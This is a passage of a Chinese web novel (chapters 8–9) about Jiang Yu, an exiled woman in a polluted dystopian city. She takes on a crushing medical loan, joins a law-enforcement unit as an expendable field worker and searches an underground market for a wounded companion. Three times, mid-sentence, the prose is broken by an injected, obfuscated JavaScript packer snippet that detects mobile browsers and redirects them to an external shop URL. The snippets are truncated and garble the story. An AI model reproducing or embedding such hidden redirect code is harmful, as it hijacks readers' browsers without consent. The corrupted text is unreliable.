她想笑,却再次昏迷过去。 救人需要花钱,医院不是做慈善的。 医院通过姜屿在政务所登记的信息,找到了她在花园城唯一的亲属,林默。 林姨接到医院的通讯后急匆匆赶来医院。 处理完畸变域带来的后续问题后,甘棠正好和林姨在病房门口碰到。林姨的言行举止让长期驻扎在花园城的甘棠拉紧了心中的弦。 奇怪,这两人太奇怪了。 甘棠意识到了自己一直以来放心不下的潜意识,姜屿穿的衣服! 那是上层区域非富即贵的大人物才能穿得起的生物材料衣物,竟然出现在了花园城的居民身上。 这两人一定有问题。 现在更重要的是姜屿的抢救。 医生拿出机械替换方案,喋喋不休,“我是建议换个器官的,换成仿生皮肤非常划算。花园城环境恶劣,自然人体很容易受到伤害,换个机械身体会方便很多。如果积分不够的话,我这边还有贷款套餐,都是由大公司出台的,利率合理,完全值得信赖……” 医生还想继续推销,被林姨一把制止。她一锤定音,“不用,我们用治疗舱治疗。不替换任何人体组织。” “真的不再看看吗?”医生不死心地翻了翻自己手上地贷款方案,“治疗舱治疗可贵多了,贷款利率也高得多。” “不用了,可以马上开始治疗了吗?”林姨不悦地看着眼前拖延的医生,“或许我该给程度打个电话?” 医生听到林姨的话后脸色大变,心有顾忌地打量林姨好几圈,看不出什么后心心闭嘴,程度是执政官的名字。 政务所工作人员的身份不对外公布,更不要说从上层下来的执政官了,能知道执政官的名字说明眼前的女人一定不简单,不能随便得罪啊。 医生摇着头,飞速跑去准备久不动用的治疗舱,却被林姨叫住,“等等,我看看治疗舱的贷款套餐。” 他擦着汗,恭敬地将手中各式贷款方案递到林姨手中,心中却念念有词:穷鬼用什么治疗舱。 待医生走后,闲不住的玲贴在老大耳边,和甘棠说悄悄胡,“对啊,器官替代方案又便宜又有用,为什么姜屿的亲人不用啊?你看我,不到一会就修复好了身体上的伤,但姜屿和顾白还在病房里躺着呢。” 甘棠微笑,在嘴边做了个拉拉链的动作;“闭嘴!” 老大一笑,生死难料。 每次老大对她这样笑的时候,她就会遭殃。玲不知道自己哪里惹老大生气,但她知道此刻最应该做的事情——听老大的话。 林姨在贷款方案中比对三家,最终选了款美丽农业集团发行的贷款:贵但物有所值。姜屿的身体不会有一点暗伤或劳损,保证病人活蹦乱跳,但贷款很高,利息也很高,年化率到达25%。 * 姜屿在一个晴朗的好天气中醒来,躺在她旁边病床的玲是这样说的。听到她这样说,姜屿下意识看了看窗外的天气,还是五米外人畜不分的雾霾,还是透着些光晕的微亮天气。 “这是晴天?” “是啊,”玲指了指外面的天空,“你看,比前几天亮多了。”大概是七分阴影和三分阴影的区别。 “咕噜—咕噜——”姜屿老脸一红。 玲嘴里叼着管营养液,听到后顺手从床头柜上抄起一只,扔给姜屿,“都快一天过去了,你肯定会饿。” 姜屿抬手接住,是红烧牛肉味的。 真想念热乎乎的饭菜啊!姜屿擦了擦自己不争气的口水,举起营养液一饮而尽,颇有种大碗畅饮美酒之感。 500毫升的营养液呼啦啦进了胃,姜屿咂摸了下嘴里的味道,像是加了方便面调料包的水,没滋没味的。 “我老大送来的,都是一个味,吃都吃腻了!”玲吸了吸自己的口水,“要是真能吃到牛肉就好了。不知道牛肉会不会比合成肉更好吃。” “合成肉是什么?” 玲大惊,“你连合成肉是什么都不知道?你平时只喝营养液吗?”看到姜屿一心求教,玲矜持地咳嗽清嗓,学起以前教官的派头,“第四域因为土壤被污染,无法种植谷物,当然也养不起吃草料的牲畜。官方为了第四域公民的营养需求着想,特意联合美丽农业财团开发出了合成肉,比真肉更具有营养价值,专供第四区公民使用。” 她与有荣焉地挺起胸膛,她也是官方的一员,为做实事的帝国政府骄傲! 两人聊起天。 得知病床一天需要花费230积分,姜屿恨不得从病床上跳起来。 她找工作的时候可以看出花园城月平均工资在2500-3000积分左右,而医院不算治疗手段,光光病床一天的花费就能花掉工资的10%! 这是抢钱! 姜屿走下床,对自己所在的病床敲敲打打,普通的铁架子,普通的白床单,空荡荡的病房,它凭什么230积分一天! 玲不解:“你在干什么?” 姜屿木着脸,“我看这病床是镶金了吗?” 金银如今不再作为资源使用,但仍具有货币的功能。 但由于金银资源有限,却目前大部分金银矿都在被人类未曾开发的地图之外,那被无名黑屋笼罩的广袤地域,它们有了个更贵的用法——奢侈品。 所以玲听懂了姜屿的笑话,她扑哧一笑,后知后觉地问道,“你是缺钱吗?我可以借给你。” 说完,她想起来自己的钱都花在身体改造和零件更新了,她好像没有钱了,干笑,“没事!我虽然没钱了,但我老大有钱,我可以借我老大的钱,再借给你。” 姜屿很感动,但拒绝了玲的好意。 “对了,你工资多少积分一月?” “不算奖金的话一月有8000,解决畸变域有奖金,有奖金的话一月能到两三万吧。”玲说完,看到姜屿沉沉的眼神,压迫感很足,“怎、怎么了?” 人类的悲欢并不相同,但不耽误姜屿发出灵魂质问,“那你的钱呢?” “都拿去改造身体了啊。” 玲骄傲地展示自己的身体,“你看小臂上的电子脉冲炮,我当时花了两万八的积分,这次顺便更新了下,花了一万多。我准备再攒攒钱,最近又出了更新包……” 细数下来,玲每个改造了的部位都是吞金兽。 姜屿抬手遮住自己的眼睛,在玲不解地询问下有气无力地开口,“挡挡你全身散发的闪亮的积分光芒。” 说着说着,姜屿跳起来,神经质般摸了摸自己全身上下,确定自己没有进行机械改造后长舒了口气。 谈钱伤感情,她只是太喜欢自己这副人类身躯了。 姜屿醒来的第二个小时,加了玲的通讯好后便急匆匆地办理出院。 在得知病床的钱按照天算,无法折算成小时退还后。 姜屿回到了病房,今天的病床钱都花了,她决定待到凌晨十二点整,同自己的余额一同迎接新一天的到来。 “你怎么回来了?”玲正准备升级她双腿的零件。 姜屿摸了薄而僵硬的病床床单,“我准备再待一会,确定身体无碍了再离开。” “顾白呢?”姜屿想了片刻后询问。她本以为,因为性别不同,顾白在别的病房。 但退病房时,姜屿关心了下和他们一同被急救的顾白。 护士告诉她,医院没有接受名叫顾白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153915|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病患。 但顾白的伤很严重,姜屿昏迷前看见他躺在旁边,呼吸轻得惊不动羽毛。 姜屿差点以为他死了。 是旁边大呼小叫的玲告诉她顾白还活着,但顾白没有入院。 玲沉默,语气稳重到有些严肃:“医院不会接收顾白这样的病患。” “为什么?” 玲不知道如何解释姜屿的追问,她转了抓头发,一副苦恼的样子,“你没看到顾白的样子吗?” 姜屿看到了。 战斗中顾白的黑斗篷碎得厉害,遮不住他佝偻的身体,极瘦极高,像是有思想的蜿蜒藤蔓,但不影响他是个活生生的人,和姜屿一样的人。 “顾白这类人叫老鼠人。他们只能待在地底世界,维护地底下的机械管道。” “我们一起在畸变域中,他伤得快死了。” “我知道。”玲拍了拍手,有些不知所措地左右踱步,“我知道!我想找他,但是醒过来后他就不见了。我告诉老大这件事了,老大说她会去解决,会去找人。” “我不会放弃同伴!绝对不会!” 她絮絮叨叨到有些神经质,而后晃着姜屿的肩膀重重强调。 “我知道,我知道。” 姜屿和缓语气,压下自己心中的不安,如同给小朋友讲童话般轻柔,温和地安抚暴躁的玲。 玲冷静下来,三分钟后像是什么都没发生。 姜屿不知道玲什么情况,不想刺激玲,便和她一样假装没有提起顾白。 刷光脑找工作期间,林姨和甘棠一同走了进来。 林姨看到姜屿醒来很是高兴,止不住心疼地摸了摸姜屿苍白的脸,“辛苦小姐了。” 说得姜屿眼泪差点掉下来,一天之内经历生死危机,姜屿能活下下来全凭她运气好。 她垂下头眨巴眨巴眼睛,确定自己神情无碍后才重新低下头,“林姨,我没事的。你看我不是好好的吗?” 眼镜挡住了甘棠打量的视线,甘棠意味深长的视线在姜屿二人身上打转。 玲和她说过姜屿的异常,姜屿能看见的雾是什么?是异能吗?是不是只有畸变源才有雾气。 如果是这样,姜屿绝对有很大用处。 “姜屿,你愿意来执法队吗?”甘棠胸有成竹地询问。 不是她自傲,执法队在花园城中待遇算好的,虽然伤亡高,但待遇好,社会地位也不低。 在花园城,乃至于第四区,贫穷总是比死亡更可怕。 “抱歉。”姜屿想都没想就拒绝了。开玩笑,她是要好好活着的,哪有每天去找死的道理。 甘棠的沉稳被姜屿出乎意料的回答打断,“可是执法队待遇很好的……”她想继续招揽,但姜屿已经低下了头,一副拒绝谈话的姿态。 甘棠看向姜屿的长辈,站在一旁沉默的林姨,继续劝说,“执法队虽然危险,但福利待遇好,还有上升空间,是花园城不可多得的好机会……” “……她不想去就不去。”林姨看着垂头丧气的姜屿,安抚性地摸了摸她的头,“我支持她。” “好吧,我不勉强你们。” 姜屿送走了硬要陪她的林姨,凌晨一个人走路回了家。 虽然花园城的公交车全天24小时运行,但她对公交车产生了些许阴影。 回到家后林姨已经睡下,但桌子上摆着林姨准备好的饭菜——合成肉饼和营养液。 合成肉饼和玲描述的不同,肉质松垮,吃起来毫无嚼劲,姜屿废了好大一会功夫才用营养液灌下了一个手掌大小的肉饼。 躺在自己的铁架子床上,她感受到一股舒适与安心。 姜屿:…… 公主宫殿她住了七天没适应,铁架子床她宾至如归。 * 姜屿双手不住颤抖,展开的光脑界面是字如针眼大小的贷款合同条例。 是姜屿磨着不自觉叹息的林姨,从她手里要到的,为姜屿治疗所花费积分的贷款。 姜屿划呀划,不可置信地揉了揉自己的眼睛——五十万积分! 确定没看错后,姜屿心如死灰。五十万积分,每年25%的年化率,这在前世是会坐牢的高利贷! 林姨无奈:“我选了好久,才选了这款利率中等的贷款。” 更离谱的是,若是姜屿五年内无法偿还贷款,便要用自己的身体抵债,正儿八经的把姜屿器官一个个分开计算的抵债。 “五年内我不还钱就是死?”姜屿和林姨大眼瞪小眼。 林姨叹气:“世界上有比死更痛苦的。” 姜屿毛骨悚然,她需要尽快挣钱还贷。 她又刷了一遍招聘界面,然后再刷了一遍,再三确定没有适合她的工作,她戳开和玲的会话界面:“你问问你们老大,我现在还能入职吗?” 三分钟后,玲回复:“能!” 8. 008 姜屿和甘棠约好了见面时间,不得不感叹人生的反复无常。几十个小时前她还一脸抗拒,十几个小时后这份要命的工作成了姜屿的天降救星。 姜屿想起来被自己抛到脑后的系统,在她生死存亡之际系统忽然跳了一下。身体痊愈后,载体属性慢悠悠地回到了10,她这才确定载体确实代表的是她的身体,或者说身体完好程度。 虽然不知道载体的数值到底有什么用,但系统好歹是系统,姜屿决定无论遇到什么情况,尽量保持自己身体健康。还有四个属性,除了意志外都有了些许提升。 以太从0跳到1;共鸣跳到了从0跳到了0.2。姜屿虚空隔着屏幕碰了碰小数点,不敢想象竟然有这么抠门的系统。 她猜测其中有个属性和小时胸膛处盘踞的灰雾有关,但具体是哪个无从判断。除非姜屿再次、多次遇到畸变。增长最快的是探索花园城的进度,从0一下跃至8。 以上是姜屿的全部收获,除此之外她背上了五年限时巨额贷款。 为了省钱,姜屿选择提前出门走路过去。 花园城不大,她家离光脑上甘棠发过来的地址不过十五分钟的路程。空气中盘踞的锈红雾色稍稍被冲淡,到现在为此姜屿在花园城已经见过空气中无处不在的红褐雾,以及畸变物身上缠绕的灰雾。 什么花园城,叫雾霾之国算了。 甘棠所说的地址很快到了,与姜屿想象的不同,异常管理局所在的小楼异常低调,和周围灰扑扑的民房没有什么区别,同与它平级的政务所天壤之别。姜屿曾路过管理人造太阳的政务所,圆弧似的穹顶以及高耸的建筑,如同站在高处监视整个花园城的哨所。 甘棠对姜屿很热情,“很惊讶吗?” 姜屿点点头,“异常管理局看起来很低调。” 甘棠含笑解释,“异常管理局存在的意义是为了与人们口中的怪物,也就是畸变对抗。很多人不太喜欢我们,认为是我们的存在助推了畸变,导致畸变现象越来越严重,伤亡人数也越来越多。” 姜屿在第二域待了七天,从来没有听说过畸变相关的东西,“这是花园城特有的吗?” “怎么可能?畸变是世界的伤疤。”甘棠否认姜屿的猜测,在姜屿明显诧异的挑眉下接着说道,“我不像是能说出这话的人吗?” 在姜屿更加死鱼的双眼注视下,甘棠讪讪地摸了摸鼻子,“好吧,确实不是,这是花园城一位诗人说的。” 苦难滋生艺术。按照花园城的环境,每个人都是一部生动的悲惨世界,假以时日姜屿自己也可能成为一个大艺术家。 两人边说边走,一个黑影猛地从旁边窜出来,厚重的铁手臂环在姜屿的肩膀。姜屿眼前一黑,熟悉的香味袭来,姜屿晓得了来着何人。 甘棠看到姜屿被压得驼背,赶忙制止玲的动作:“玲,快松开。你改造过的手臂太重了。” “我们先去测试一下你的异能。”甘棠在异常管理局的地位不低,一路上走来都有人问好。 与面对姜屿的随和不同,甘棠只是冷淡点头回应。 异能管理局的人和姜屿在花园城碰到的人完全不同,有一股昂扬向上的精气神。他们的精神面貌才是姜屿对技术大爆炸下的花园城的第一想象。他们对甘棠很热情,有人看到甘棠身旁陌生的姜屿还会打个招呼。而玲被忽视,所有人心照不宣地避开了玲,如同没有见到她一般。 姜屿看了看玲,又看了看甘棠。两人明显对此见怪不怪。 注意到姜屿的视线,吹口哨的玲以为她有疑问,于是为姜屿解释道:“我和老大聊了聊你在畸变源中的看到的灰雾,老大认为是你觉醒了异能。” “异能?” 玲抓耳挠腮地想了想,“就是超能力,你懂的。''咻''一下就能发出光波的那种。” “世界有光就有暗。畸变出现的不久,异能就出现了,它们像是一把利刃的两面。”甘棠接着为姜屿解释,“互相克制又互相依存。异能者很稀少,如果你是异能者的话,恐怕可以立马还清贷款。” “花园城还没有异能者呢。”玲羡慕地瞅了瞅姜屿。 枪打出头鸟,如果自己是异能者的话恐怕身边更热闹了…… 姜屿念头被甘棠最后的话打断,她眼睛顿时一亮。 富贵险中求!她已经做好了火中取栗的准备,哪有没有任何风险的赚钱方法呢?她干了。 姜屿胸口像是有兔子蹦蹦跳跳,以一种揣揣不安又满怀期待的心情进了异能检测室。 “这地方好久没人来了,设备有些陈旧。”甘棠看了眼不停打喷嚏的姜屿,抖了抖盖在机械上面的白布,灰尘飞扬,姜屿差点没被灰尘埋了。 测试异能的机器像是科学怪人随便拼凑出来的垃圾,一个半覆盖式的感情头盔,上面亮着各式各样的彩灯。头盔山有些电线没被收好,张牙舞爪地伸出探头。姜屿感觉自己被骗了。她犹犹豫豫地戴上头盔,仅仅一瞬过去,好像只是眨了次眼,她就醒了过来。 甘棠百思不得其解,仔细看了看怀中抱着的头盔,又看看了姜屿,“怎么会呢?竟然没有任何反应。” 玲像个猫猫般忽然探头,“老大,头盔不会是坏了吧。” 甘棠神情严肃地在异能检测室中各式各样的机器上摆弄,直到头盔上的三排灯有节奏地闪烁后才说话,“头盔可以正常运行。”她抱歉地看了看姜屿,“不好意思,让你白白期待一场。” 姜屿放下了心,天上不会掉馅饼。得知自己没有万里挑一的异能后,姜屿的第一反应不是失落,而是安心。还是安安稳稳地赚钱、还贷,这才是姜屿适应的节奏。 玲安慰姜屿,“没事。老大不仅看上了你子虚乌有的异能,更看上了你的脑子。你肯定能来做我的同事的。” 执法队招聘要求很高,姜屿走的是甘棠的特殊推荐渠道。这意味着甘棠将为姜屿做保,如果姜屿在三个月内没有转正,甘棠会被处罚。姜屿不知道说什么好,只能郑重点头:“您放心,我一定会好好干活的。” 甘棠:“以后都是对抗畸变的伙伴,我更希望你们注意自身安全。” * “诶?你社会等级怎么是五级!”玲看到屏幕后不可置信的转过头来,代表着五级社会等级的红光在屏幕上危险闪烁。这是一种警告,提示尽量远离姜屿。 甘棠惊讶地看了眼一副老实人模样的姜屿。姜屿扎着个低马尾,眼神澄澈,毫无防备,脸上挂着些许求职的焦虑,不像是特意钓她们,而后来搞破坏的恐怖分子。但这社会等级,甘棠用自己队长权限调阅了姜屿的档案。档案很普通,唯一不普通的地方是姜屿才来花园城不过一周,她在其他地方的经历被隐藏了。 但姜屿的档案上有花园城执政官、第四区大执政官的认证:五等社会公民,但危险极低。 甘棠看了看档案,又看了眼姜屿。就这样一眼档案、一眼姜屿地反反复复查阅姜屿的档案五次,确定档案上面的认证真实后才重重地关闭了光脑。 “抱歉,你无法在执法队任职。” 姜屿:“……因为社会等级吗?” “是的。” 很好,姜屿现在非常理解反派公主了。小说中反派公主一个养尊处优的人被流放到第四域,因为社会等级的原因什么都干不了,难怪公主最后的结局是饿死,难怪公主临死前不想放过男女主。姜屿现在也不想,她想和这世界同归于尽。天杀的,姜屿卖命都没有途径! “没有别的办法吗?”姜屿知道自己现在应该体面地礼貌离开,但她的双脚像是扎在了地面一样沉重。 甘棠想了想,为难地看了看姜屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153916|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“执法队对外勤没有社会等级的要求,但……” “我可以!”不待甘棠说完,姜屿急急开口。 甘棠语气沉重,“……等等,你先听我说完。外勤的待遇不太好。” 她详细地说明了外勤的待遇,两三分钟就说完了。刚刚在说明执法队正式员工的待遇时,甘棠可说了将近十分钟。外勤就是个临时工,工资较正式工低的一半不说,定位还是炮灰。主要工作有发现畸变区域及时上报;作为开荒队进入畸变域,带着专门适用于畸变域的通讯工具,搜索情报,为后续执法队消除畸变提供有效的情报支援。还要听从调遣,调遣范围包括正式工的工作职责。 甘棠说着说着不好意思起来:“……外勤死亡率很高,因此执法队常年缺外勤,为了弥补空缺特意不要求社会等级。” 简而言之,外勤吃的是草,产的是血。 “外勤还是有好处的,时间自由,每月有三次机会拒绝执法队的调遣。收集畸变情况奖金上不封顶,一个E级畸变最高奖金能到两万,D级五万,C级十万。”甘棠为不做人的执法队找补起来。 “别说了,”姜屿摆了摆手,在甘棠以为她会拒绝的时候,她说,“哪里可以入职外勤?” 这年头,有工作就不错了。时间灵活代表姜屿可以再找份工作,两份工作总能让家里宽松一点。况且她的系统明显和畸变有关,姜屿就算是不想上也得上。好不容易来个系统,姜屿总要用用,不然多亏啊! 姜屿抽了个空询问起玲的状态,在医院时她状态明显不对劲。 甘棠:“玲只是压力太大了。” 姜屿明白,这是无可奉告的意思。她没有多问,转而询问起顾白。 说到顾白,甘棠的皱眉明显真实了些,“我派的人还没有找到他。” 她的语气礼貌不含多少感情:“老鼠人把地底当成了巢穴,地底被他们经营成了一个迷宫,但我会尽力找到他的。” * 外勤入职相比于政治员工入职简单多了。 甘棠有事被领导叫走,玲带着姜屿下到一楼,拐了几个弯后进到一间简陋的房子。房子里空荡荡的,只有一桌一椅,一个摇着蒲扇的皱巴老头。老头带着花园城独有的冷漠姿态,上下打量了下玲带来的姜屿。 “又来了个找死的?”老头撇嘴:“出去随便找个工作,不比在这送死好。” 姜屿看了看玲,这老头几个胆啊,光明正大地端着执法队的碗骂执法队。 玲会意地悄悄在她耳边嘀咕,“宋老头之前是执法队的老人。” 姜屿不信,攻略卓越的老员工值几个钱啊。玲不好意思地挠了挠脸,“这是局长的老爹。” 合理了。 “我是五级社会公民。” 老头闻言,诧异地看了看姜屿。五级社会公民,这才正常。老头扬了扬下巴,“申请书发给你了,你接收填写一下。” 姜屿拿出光脑接收了老头传递过来的外勤入职申请书,申请书和屋子一样,简简单单了填了自己的姓名、性别、年龄、光脑号后就结束了。不久,老头发给姜屿一个代表外勤的勋章,又给她领了个能在畸变域中交谈的机器,机器长得很像姜屿小时候她妈用的老师翻盖手机,握在手里像个板砖;功能单一,只支持电话和短信。 如此,姜屿成功入职。 姜屿神色冷峻,严肃到老头都坐直了身体。直到姜屿沉沉开口:“什么时候发工资?” 老头沉默,老头无语,老头翻白眼,“每个月十五号发当月工资。”说完,他问,“你不想问什么外勤工作守则,如何保命吗?” 姜屿:“我身上有美丽农业的5年期贷款,年利率25%。” 老头瞬间明白了。死亡,不过是一瞬间的事;不还贷款,姜屿会过得生不如死。 9. 009 人造太阳当空照,打工小姜长叹气。认真生活起来,姜屿两人在花园城的生活成本猛然飙升。 花园城什么都要钱,字面意义上的。表面上看,姜屿的屋子有电有水,但龙头的水水未经过滤,接到水杯里表层会有一层厚厚的铁锈垢。喝起来像是铁锈在水中化开,喝一口就很致癌。 想要干净的水?当然有,那积分买。一升过滤水150积分。 姜屿将就不了,和她一起的林姨同样坚持不了。林姨在第二域生活将近三十年,作为公主宫殿的大管家养尊处优,实在无法适应。而姜屿 电,也是有的,但限时限量供应,加上屋子线路老化,无人维修。供电不稳定不说,打开电灯更有一种油滋滋的感觉。 姜屿要不是在第二域待过几天,恐怕不会相信这世界是技术大爆炸的世界。花园城的生活条件,说是中世界恐怕也有人相信。 想要稳定的供电,想要更干净的屋子。当然可以,有积分就行。花园城北城区是花园城最干净整洁的地方。 那里不会有地上积压的污水,不会有随时随地准备抢劫的强盗。 飞艇上宣传的大屏色彩炫目,不间断地为北城区新开的楼盘打广告。姜屿为之动心过,因为那里完善的安保措施。 由于债务,林姨不想在家待着,选择出门找工作。但她坚持和姜屿一起被流放,社会等级同样成为了5级。她不死心,总想出去看看能不能找到工作贴补家用。 鬼知道第一次出门就遇到了不怀好意的强盗。 林姨为人严谨,即使沦落到了第四域也一丝不苟地尽力保持干净和体面,把头发梳得整整齐齐。 ……然后被当做肥羊抢劫了。 要不是姜屿回来得及时,用手枪恫吓了那些犯人,林姨不会只是崴脚了。 姜屿强硬地把林姨按在了家里,“您的任务是照顾好自己,照顾好家里,然后照顾好我。” 她开始寻摸更加安全的住处,飞艇上24小时不间断的广告引起了她的注意。看楼盘需要交2000积分,这只是看房要的钱。 更不要论那离谱的房价,把姜屿拆开卖了都凑不够。姜屿只得再三叮嘱林姨,好好待在家里。 执法队外勤每月工资4000积分。在每月必要的吃穿水电的支出后,寥寥无几。钱不够花啊。 苦恼之时,有个人找了上来。李三不知道从哪搞到的姜屿的智脑号,联系上了姜屿。 李三:在吗?姜小姐。你不是要找工作的吗? 姜屿不知道对方是谁,没有理他,看到名字只觉得不是好人。在李三张扬的头像中,看到他呲牙大笑的照片,姜屿才看出来,这是那个黑店老板。那不是李三吗?起名字的水平一言难尽。 几天前在姜屿从他手里骗了八百五的积分后,两人不欢而散。如今对方忽然这么热情,还给姜屿找到了个工作,一定有诈。 遇见好多次冷脸,碰过好几次壁后,姜屿深刻明白了这个看社会等级的社会。不说有人知道她社会等级后冷言冷语,还有人想趁机抢劫/诱拐她。 姜屿黑吃黑了叫嚣着“你知道我是谁吗”的罪犯,并贴心将他们送到了社会安全管理署。 这也是姜屿还能洞若观火地看李三上蹿下跳的原因之一。 好几天,热情的李二刷屏了几千条消息,被叮叮当当消息提醒搞得非常不耐烦的姜屿直接屏蔽了李二,李二本人可见。 他安分了几天,直到—— 李三:你不是在找叫顾白的人吗?我可以带你去找他。 顾白啊。姜屿在林姨的指导下好好保养了一番左轮,将它放在自己从执法队薅来的背包中。 不想上班:他在哪里? 李三:我带你去找他。 林姨站在门口忧心忡忡,却不说话。姜屿笑着问她:“您不说些什么吗?” 林姨摇摇头,指尖划过姜屿和她母亲越来越相似的侧脸,“年轻人有年轻人自己的事去做。” * 李三一如既往的热情,像是之前因为损失了八百五积分恨不得和姜屿干架的人不是他似的。 他笑嘻嘻地走上前来,在姜屿的逼视下想要和她勾肩搭背的手臂硬生生蹲在空中,转了个弯后抱住了自己。 “……” 他丝毫不觉尴尬,“最近有点冷是吧。” 花园城像是被层层机械管道围起来的小玻璃珠,全年温暖如春,偶尔管道维护时,还会有爆发的高温。 说着,他猝不及防地凑上前来,眼睛中布满红血丝,“你为什么找一个老鼠人啊?” 他弓着腰,视线细细密密地扫过姜屿脸上每一块肌肉,每一个表情,像是冷血的爬行动物在评估猎物。 “他在哪?” 姜屿没管,一巴掌呼在李三脸上,“男女有别谢谢,直接叫我的名字就好。” “你真有趣,姜屿。”李三咂摸咂摸嘴,直起身子自顾自向前走去,“要不要先去看工作?” “先去找顾白。” “好吧好吧。”李三像是大太监似的弯腰,双臂向前迎,“听你的安排。” “南城那边有个洞窟,我在那找到顾白的消息的。但那人嘴很严,能不能撬开他的嘴就看你的本事了。” 南城洞窟之前是某个实验室坐落的地址,多年前发生了场大爆炸,周边建筑全都在火光下付之一炬,还炸出了个大洞。 爆炸导致某些腐蚀性的液体清除难度太大,官方干脆任之发展,十几年的时间腐蚀性液体挥发殆尽,那一片成了好多流浪汉的聚集地。慢慢发展,成了个集市。 李三转过头来,捏着下巴打量姜屿的穿着,“你这样不行,会被当成大户的。” 李三带着姜屿深一步浅一步地踏入了洞窟。洞窟没有明显的边缘,但在踏入李三所说的洞窟的一瞬间,姜屿有一种被人注视的奇异感觉。 她按了按发毛的后脖。 地面踩上去软软的,像是发硬的沼泽,又有点像是上次碰到的畸变域。姜屿稍微有些踉跄,李三和她不同。 异常熟滑地融入进了人群,像是跃入大海的小鱼。他站在人群中,朝姜屿作怪地挥了挥手,弯弯绕绕的踏出来的路,李三带着姜屿时不时转进一条小路,越走越窄,越走越偏僻。 他没回头,却仿佛看到了姜屿防备的动作:“别担心,我不敢整死你的。” 并非不想,只是不敢。 洞窟中的人很多,但都藏在破烂的帐子和土屋后面,在姜屿二人路过时,露出双冷冷的眼睛一言不发地看着,老人小孩、男的女的。 李三像是在翩翩起舞,他哼着歌,双手不知道挥着什么节奏,“就快到了。” 两人停在一处局促的小屋前,说是小屋,更像是姜屿前世见到的地窝子,怯生生地突出个口的地方是门。 “就在这。”李三旁若无人地推开门,屋子内黝黑,门开后是一段低矮的向下楼梯。李三先下,好心眼地扶着黑暗中看不清楼梯的姜屿。 他踩点的时候来过这里,再次过来已经熟门熟路。为了照明,他在屋子里左翻翻右翻翻,好不容易找出半截蜡烛。 蜡烛!姜屿目瞪口呆,中世纪有蜡烛很正常的,真的很正常。他又翻翻找找,从垃圾堆里找出来个锈迹斑斑的铜烛台,依稀可见其上刻映的繁复华丽的花纹。 姜屿觉得自己不应该拿把手枪,而应该拿把弓箭。更像一局西幻开局史诗游戏了。 “电也要花积分的。”李三随口解释道。 随着小小的一只蜡烛照亮小屋,角落中忽然坍塌一角,像是个老鼠洞。 洞中的阴影缓缓蠕动,走到烛火面前。姜屿看清了他的模样,和顾白的瘦长不同,老人矮矮小小,差不多到姜屿的腰腹位置。脸色是长久不见阳光的死白。 他习惯性地走到烛火没有照亮的阴影处,站在一个极其逃跑的位置上,“有事?” 李三努了努嘴。 姜屿上前和防备的老人交涉:“我来找顾白。” “什么事?寻仇还是杀人?” 姜屿没想到自己的形象如此黑暗。她抽了抽嘴角,“都不是。我俩算是……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153917|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 幸存者?一起打怪的人? 顾白在畸变域中倒下时对着同在畸变域的两人露出的一闪而过的笑容忽然闪过姜屿的脑海。 她斟酌了下措辞:“朋友。” 小屋中的两人闻言都诧异地看了眼姜屿。李三油腻的以咏叹调般的语气说道,“真是慷慨的大小姐。” 老人的表情只是一瞬,而后瞬间恢复。姜屿的话像是往幽深的潭水中扔了个小石子,荡起一阵涟漪。但也仅此而已。 他站在原地比了个手势,在小屋久久没有动静后又躁动地跺了跺脚。交易没有成功,他要撤退了。 僵持的气氛中,李三轻轻笑起来。摸不着头脑的姜屿不明所以地看了眼他,焦躁的老人也看向他。 “姜屿,”李三伸出手,食指和大拇指不断摩擦,“他在要报酬。” 老人看出了姜屿散发的傻大户气质,向她索要的报酬比他知道的报价高三倍。 姜屿不懂洞窟的规矩,也不知道价格是否合理。但作为社畜,她懂得看人表情。李三嘴角止不住上扬,压抑不住看好戏的幸灾乐祸。 她掏出枪,冷冷的枪口抵在老人枯瘦的额头上,压出同心圆的痕迹,象征手枪正在充能的纹路发出淡淡荧光,“现在还要报酬吗?” “不用了,不用了。”老人连连摆手,确定左轮可以瞬间把他的脑袋轰烂后,他两只手交握,树皮般的皱纹随他的笑容更加夸张。 “但我不喜欢让人干白工。”她收起枪,向老人没有绑定个人生物信息的智脑中转了1000积分。 老人瞬间眉开眼笑起来。 李三悄咪咪地夸她:“厉害呀,还懂得打一棍子给一甜枣的道理。” 姜屿面无表情地看了眼她。确实有这方面的考虑,但她真的很讨厌让人白干活的领导,非常非常的讨厌。 “穿上这个。”李三递过来一套陈旧的防护服,示意姜屿穿上,“地下环境更恶劣。” “你不用吗?”姜屿看向站在阴影中无聊地打了个哈欠的老人。 在收到姜屿的积分后,老人态度突变,凑在姜屿身旁笑得一脸荡漾,“不用不用,我习惯地下的环境了。” 她们终于踏上了正确的道路。 